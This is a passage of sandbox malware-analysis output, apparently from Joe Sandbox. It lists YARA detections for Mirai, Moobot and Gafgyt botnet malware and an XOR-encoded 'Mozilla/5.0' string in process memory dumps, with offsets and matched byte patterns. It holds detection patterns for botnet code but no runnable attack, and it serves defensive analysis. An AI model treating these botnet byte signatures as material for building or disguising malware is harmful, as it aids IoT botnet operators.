2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7376.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6971.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6367.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6922.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6383.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6383.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6383.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6383.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6383.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6383.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6396.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6396.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6396.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6396.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6396.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6396.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6475.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6475.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6475.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6475.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6475.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6475.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6893.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6893.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6893.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6893.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6893.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6893.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6419.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7166.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6741.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6741.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6741.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6741.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6411.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7267.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7267.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7267.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7267.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7267.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7267.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6430.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
